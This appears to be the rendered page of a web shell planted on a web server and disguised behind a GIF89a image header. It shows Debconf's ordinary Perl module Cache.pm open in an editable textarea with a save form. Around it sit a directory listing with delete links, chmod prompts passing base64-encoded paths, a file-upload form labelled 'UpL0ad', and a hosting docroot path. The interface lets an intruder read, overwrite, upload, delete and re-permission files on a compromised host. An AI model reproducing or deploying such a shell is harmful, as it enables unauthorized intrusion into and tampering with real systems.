GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Cache.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=Q2FjaGUucG0%3D"><input name="f" value="Cache.pm"><textarea name="t">#!/usr/bin/perl
# This file was preprocessed, do not edit!


package Debconf::DbDriver::Cache;
use warnings;
use strict;
use Debconf::Log qw{:all};
use base 'Debconf::DbDriver';


use fields qw(cache dirty);


sub iterator {
	my $this=shift;
	my $subiterator=shift;

	my @items=keys %{$this-&gt;{cache}};
	my $iterator=Debconf::Iterator-&gt;new(callback =&gt; sub {
		while (my $item = pop @items) {
			next unless defined $this-&gt;{cache}-&gt;{$item};
			return $item;
		}
		return unless $subiterator;
		my $ret;
		do {
			$ret=$subiterator-&gt;iterate;
		} while defined $ret and exists $this-&gt;{cache}-&gt;{$ret};
		return $ret;
	});
	return $iterator;
}


sub exists {
	my $this=shift;
	my $item=shift;

	return $this-&gt;{cache}-&gt;{$item}
		if exists $this-&gt;{cache}-&gt;{$item};
	return 0;
}


sub init {
	my $this=shift;

	$this-&gt;{cache} = {} unless exists $this-&gt;{cache};
}


sub cacheadd {
	my $this=shift;
	my $item=shift;
	my $entry=shift;

	return if exists $this-&gt;{cache}-&gt;{$item};

	$this-&gt;{cache}-&gt;{$item}=$entry;
	$this-&gt;{dirty}-&gt;{$item}=0;
}


sub cachedata {
	my $this=shift;
	my $item=shift;

	return $this-&gt;{cache}-&gt;{$item};
}


sub cached {
	my $this=shift;
	my $item=shift;

	unless (exists $this-&gt;{cache}-&gt;{$item}) {
		debug &quot;db $this-&gt;{name}&quot; =&gt; &quot;cache miss on $item&quot;;
		$this-&gt;load($item);
	}
	return $this-&gt;{cache}-&gt;{$item};
}


sub shutdown {
	my $this=shift;

	return if $this-&gt;{readonly};

	my $ret=1;
	foreach my $item (keys %{$this-&gt;{cache}}) {
		if (not defined $this-&gt;{cache}-&gt;{$item}) {
			$ret=undef unless defined $this-&gt;remove($item);
			delete $this-&gt;{cache}-&gt;{$item};
		}
		elsif ($this-&gt;{dirty}-&gt;{$item}) {
			$ret=undef unless defined $this-&gt;save($item, $this-&gt;{cache}-&gt;{$item});
			$this-&gt;{dirty}-&gt;{$item}=0;
		}
	}
	return $ret;
}


sub addowner {
	my $this=shift;
	my $item=shift;
	my $owner=shift;
	my $type=shift;

	return if $this-&gt;{readonly};
	$this-&gt;cached($item);

	if (! defined $this-&gt;{cache}-&gt;{$item}) {
		return if ! $this-&gt;accept($item, $type);
		debug &quot;db $this-&gt;{name}&quot; =&gt; &quot;creating in-cache $item&quot;;
		$this-&gt;{cache}-&gt;{$item}={
			owners =&gt; {},
			fields =&gt; {},
			variables =&gt; {},
			flags =&gt; {},
		}
	}

	if (! exists $this-&gt;{cache}-&gt;{$item}-&gt;{owners}-&gt;{$owner}) {
		$this-&gt;{cache}-&gt;{$item}-&gt;{owners}-&gt;{$owner}=1;
		$this-&gt;{dirty}-&gt;{$item}=1;
	}
	return $owner;
}


sub removeowner {
	my $this=shift;
	my $item=shift;
	my $owner=shift;

	return if $this-&gt;{readonly};
	return unless $this-&gt;cached($item);

	if (exists $this-&gt;{cache}-&gt;{$item}-&gt;{owners}-&gt;{$owner}) {
		delete $this-&gt;{cache}-&gt;{$item}-&gt;{owners}-&gt;{$owner};
		$this-&gt;{dirty}-&gt;{$item}=1;
	}
	unless (keys %{$this-&gt;{cache}-&gt;{$item}-&gt;{owners}}) {
		$this-&gt;{cache}-&gt;{$item}=undef;
		$this-&gt;{dirty}-&gt;{$item}=1;
	}
	return $owner;
}


sub owners {
	my $this=shift;
	my $item=shift;

	return unless $this-&gt;cached($item);
	return keys %{$this-&gt;{cache}-&gt;{$item}-&gt;{owners}};
}


sub getfield {
	my $this=shift;
	my $item=shift;
	my $field=shift;

	return unless $this-&gt;cached($item);
	return $this-&gt;{cache}-&gt;{$item}-&gt;{fields}-&gt;{$field};
}


sub setfield {
	my $this=shift;
	my $item=shift;
	my $field=shift;
	my $value=shift;

	return if $this-&gt;{readonly};
	return unless $this-&gt;cached($item);
	$this-&gt;{dirty}-&gt;{$item}=1;
	return $this-&gt;{cache}-&gt;{$item}-&gt;{fields}-&gt;{$field} = $value;
}


sub removefield {
	my $this=shift;
	my $item=shift;
	my $field=shift;

	return if $this-&gt;{readonly};
	return unless $this-&gt;cached($item);
	$this-&gt;{dirty}-&gt;{$item}=1;
	return delete $this-&gt;{cache}-&gt;{$item}-&gt;{fields}-&gt;{$field};
}


sub fields {
	my $this=shift;
	my $item=shift;

	return unless $this-&gt;cached($item);
	return keys %{$this-&gt;{cache}-&gt;{$item}-&gt;{fields}};
}


sub getflag {
	my $this=shift;
	my $item=shift;
	my $flag=shift;

	return unless $this-&gt;cached($item);
	return $this-&gt;{cache}-&gt;{$item}-&gt;{flags}-&gt;{$flag}
		if exists $this-&gt;{cache}-&gt;{$item}-&gt;{flags}-&gt;{$flag};
	return 'false';
}


sub setflag {
	my $this=shift;
	my $item=shift;
	my $flag=shift;
	my $value=shift;

	return if $this-&gt;{readonly};
	return unless $this-&gt;cached($item);
	$this-&gt;{dirty}-&gt;{$item}=1;
	return $this-&gt;{cache}-&gt;{$item}-&gt;{flags}-&gt;{$flag} = $value;
}


sub flags {
	my $this=shift;
	my $item=shift;

	return unless $this-&gt;cached($item);
	return keys %{$this-&gt;{cache}-&gt;{$item}-&gt;{flags}};
}


sub getvariable {
	my $this=shift;
	my $item=shift;
	my $variable=shift;

	return unless $this-&gt;cached($item);
	return $this-&gt;{cache}-&gt;{$item}-&gt;{variables}-&gt;{$variable};
}


sub setvariable {
	my $this=shift;
	my $item=shift;
	my $variable=shift;
	my $value=shift;

	return if $this-&gt;{readonly};
	return unless $this-&gt;cached($item);
	$this-&gt;{dirty}-&gt;{$item}=1;
	return $this-&gt;{cache}-&gt;{$item}-&gt;{variables}-&gt;{$variable} = $value;
}


sub variables {
	my $this=shift;
	my $item=shift;

	return unless $this-&gt;cached($item);
	return keys %{$this-&gt;{cache}-&gt;{$item}-&gt;{variables}};
}


1
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/Debconf/DbDriver<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25m"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=QmFja3VwLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=QmFja3VwLnBt"/>Backup.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=QmFja3VwLnBt&c=`+btoa(c):0" value="0644"></td><td>1647</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=Q2FjaGUucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=Q2FjaGUucG0="/>Cache.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=Q2FjaGUucG0=&c=`+btoa(c):0" value="0644"></td><td>4830</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=Q29weS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=Q29weS5wbQ=="/>Copy.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=Q29weS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>959</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=RGVidWcucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RGVidWcucG0="/>Debug.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RGVidWcucG0=&c=`+btoa(c):0" value="0644"></td><td>961</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=RGlyVHJlZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RGlyVHJlZS5wbQ=="/>DirTree.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RGlyVHJlZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>1994</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=RGlyZWN0b3J5LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RGlyZWN0b3J5LnBt"/>Directory.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RGlyZWN0b3J5LnBt&c=`+btoa(c):0" value="0644"></td><td>3702</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=RmlsZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RmlsZS5wbQ=="/>File.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=RmlsZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>3730</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=TERBUC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=TERBUC5wbQ=="/>LDAP.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=TERBUC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>6215</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=UGFja2FnZURpci5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=UGFja2FnZURpci5wbQ=="/>PackageDir.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=UGFja2FnZURpci5wbQ==&c=`+btoa(c):0" value="0644"></td><td>3680</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=UGlwZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=UGlwZS5wbQ=="/>Pipe.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=UGlwZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>1810</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&x=U3RhY2sucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=U3RhY2sucG0="/>Stack.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0RiRHJpdmVy&f=U3RhY2sucG0=&c=`+btoa(c):0" value="0644"></td><td>5260</td></tr></table>